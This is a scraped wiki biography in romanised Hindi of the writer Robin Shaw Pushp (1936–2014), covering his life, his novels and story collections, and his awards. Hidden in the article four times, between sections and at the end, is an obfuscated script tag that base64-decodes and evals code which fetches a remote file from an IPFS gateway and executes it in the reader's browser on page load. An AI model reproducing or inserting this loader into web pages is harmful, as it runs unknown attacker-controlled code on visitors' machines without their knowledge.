रॉबिन शॉ

भारत डिस्कवरी प्रस्तुति
Revision as of 05:14, 20 December 2017 by रविन्द्र प्रसाद (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
r aaubin sh aau
poora nam r aaubin sh aau pushp
janm 20 disanbar, 1936
janm bhoomi muanger, bihar
mrityu 30 aktoobar, 2014
mrityu sthan patana, bihar
karm-kshetr kathakar, upanyasakar, natakakar aur patakatha lekhak
mukhy rachanaean upanyas- anyay ko kshama, dulhan bazar kahani sangrah- agnikuand, ghar kahaan bhag gaya sansmaran- 'sone ki kalam vala hiraman' adi.
bhasha hindi
nagarikata bharatiy
any janakari rediyo par prasarit r aaubin sh aau ka likha natak ‘dard ka sukh’ to aj bhi lokapriy hai.
inhean bhi dekhean kavi soochi, sahityakar soochi

r aaubin sh aau pushp (aangrezi: Robin Shaw Pushp, janm: 20 disanbar, 1936; mrityu: 30 aktoobar, 2014) mashahoor katha, upanyas, natak aur patakatha lekhak the. ajivan svatantr lekhak rahe r aaubin sh aau pushp ki pachas se adhik pustakean prakashit haian. inamean upanyas, kahaniyaan, kavitaean, lekh, natak aur bal sahity adi shamil hai. anyay ko kshama, dulhan bazar jaise upanyas, agnikuand, ghar kahaan bhag gaya kahani sangrah aur phanishvar nath renu par likhi sansmaran pustak 'sone ki kalam vala hiraman' unaki charchit kritiyaan haian.

jivan parichay

r aaubin sh aau pushp ka janm muanger mean 20 disanbar, 1936 ko hua tha. unaki pahali kahani dharmayug mean chhapi thi. rediyo aur tivi ke lie bhi unhoanne kee natak, kahaniyaan likhi thian. unaki kahaniyoan par bani tivi philmean raanchi, mujaphpharapur, rayapur aur dilli dooradarshan par kee bar prasarit ho chuki haian. patana se prakashit philm patrika ‘chitr sadhana’ aur ‘mahadesh’ se bhi vah lanbe arase tak ju de rahe the. unaki kahaniyaan urdoo, baangla, panjabi, malayalam, gujarati, marathi aur maithili mean bhi anuvadit huee haian. rediyo par prasarit unaka likha natak ‘dard ka sukh’ to aj bhi lokapriy hai.[1]

chitr:Blockquote-open.gif r aaubin sh aau un gine-chune isaiyoan mean haian, jinhoanne hindi sahity ke sansar mean bharapoor nam kamaya. ni:sandeh shri pushp aj hindi ke ek pratishthit kathakar haian-nukile anubhav, khandoan ke kushal shabd shilpi, sanvedanaoan ki jatil granthiyoan ke anoothe kathakar. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sahityik parichay

r aaubin sh aau ne apani sahityik jivan ki shuruat patrika dharmayug se ki thi. usake bad unake kee kahaniyaan vibhinn patrikaoan mean prakashit hoti rahian. sh aau ne bihar ke gaanv kasboan par bhi kahaniyaan likhian haian. unaki kee anoodit rachanaean bhi aee haian. r aaubin sh aau pushp ki atm sansmaranatmak rachana yatra "ek veshya nagar" ko pathakoan ne khoob saraha. unhoanne kee d aaukyoomeantari philmean bhi banaeean aur kuchh philmoan ke lie patakathaean bhi likhian. isi varsh unake sanpoorn rachanakarm ko sametati sat khandoan mean r aaubin sh aau pushp rachanavali prakashit huee thi. unaki kahaniyoan ke aangreji ke alava tamam bharatiy bhashaoan mean anuvad chhape aur sarahe gaye. unhean shivapoojan sahay, bihar rashtrabhasha parishad ka vishesh sahity seva samman, phanishvaranath renu puraskar, mahishi hindi sahity ratn samman jaise anek puraskar aur samman pane vale r aaubin sh aau pushp ajivan am adami ke sukh, dukh, prem aur sangharsh ke lekhak rahe. unaki patni gita sh aau pushp bhi prakhyat lekhika haian.[2]

pramukh kritiyaan

r aaubin sh aau ki pramukh kritiyaan[3]
upanyas
  • anyay ko kshama
  • band kamare ka saphar
  • dehayatra
  • jagi aankhoan ka sapana
  • khushaboo bahut hai
  • dulhan bazar
  • gavah begamasaray
kahani sangrah
  • das pratinidhi kahaniyaan
  • aandhe akash ka sooraj
  • nangi khi dakiyoan ka ghar
  • ajanabi hota hua makan
  • akhiri saans ka kiraya
  • agnikuand

samman evan puraskar

chitr:Blockquote-open.gif r aaubin sh aau pushp ki kahaniyaan maine hindi ki shreshth patrikaoan mean padhi haian aur unamean der tak dooba raha hooan. unamean kalatmak nipunata ke sath marm par chot karane ki kshamata hai. patroan ke manasik dvandvoan ka udghatan karane mean mahir haian. maian unase milane unake ghar muanger gaya tha. vah jis shalinata se mehamanoan ka satkar karate haian, usi shalinata se likhate bhi haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • 1965 mean udiyaman sahityik puraskar, bihar rashtrabhasha parishadh, bihar sarakar
  • 1980 mean kala evan sahityik seva ke lie vishesh samman, manthan kala parishadh, khagaul
  • 1976 mean hiandi seva tatha shreshth sahityik srijan ke lie sarasvat samman
  • 1987 mean shiv poojan sahay puraskar, rajabhasha vibhag, bihar sarakar
  • 1994 mean vishesh sahity sevi samman puraskar, bihar rashtrabhasha parishadh, bihar sarakar
  • 1994 mean bihar ke sahityakaroan ki kritiyoan ko sammpadit evan prakashit karane ki disha mean kiye ge karyoan ke lie hyamurali samman, shabdaanjali, patana
  • 1994 mean hiandi katha-sahity ki sanmriddhi mean mahattvapoorn yogadan ke lie rajabhasha vibhag, bihar sarakar dvara phanishvar nath renu puraskar
  • 2002 mean masihi hiandi sahity-ratan-samman se kathalik hiandi sahity samiti (bharat ke kathalik ki hiandi samiti) dvara ilahabad mean[3]

nidhan

assi varshiy r aaubin sh aau ka 30 aktoobar, 2014 ko dopahar takariban 2 baje patana sthit apane avas par nidhan ho gaya.

aj sochata hooan, ziandagi ko kisi ne d aauktar ne nuskhe ki tarah nahian likha, ki subah yah, dopahar yah, rat mean yah. yah to asaman mean, bahut ooanchaee tak u danevali chi diyaan jaisi hai... ya pani ke bhitar, bahut bhitar tak tairati huee koee machhali... ziandagi ki ooanchaee ya gaharaee ko napana itana asan nahian. -r aaubin sh aau pushp


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. nahian rahe kathakar r aaubin sh aau pushp (hiandi) patrika khabar. abhigaman tithi: 2 navambar, 2014.
  2. mashahoor lekhak r aaubin sh aau pushp ka nidhan (hiandi) khas khabar. abhigaman tithi: 2 navambar, 2014.
  3. 3.0 3.1 sulabh, hrishikesh. apane samay ki yuva ahatoan ko sunate rahe (hiandi) hiandustan laiv. abhigaman tithi: 2 navambar, 2014.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>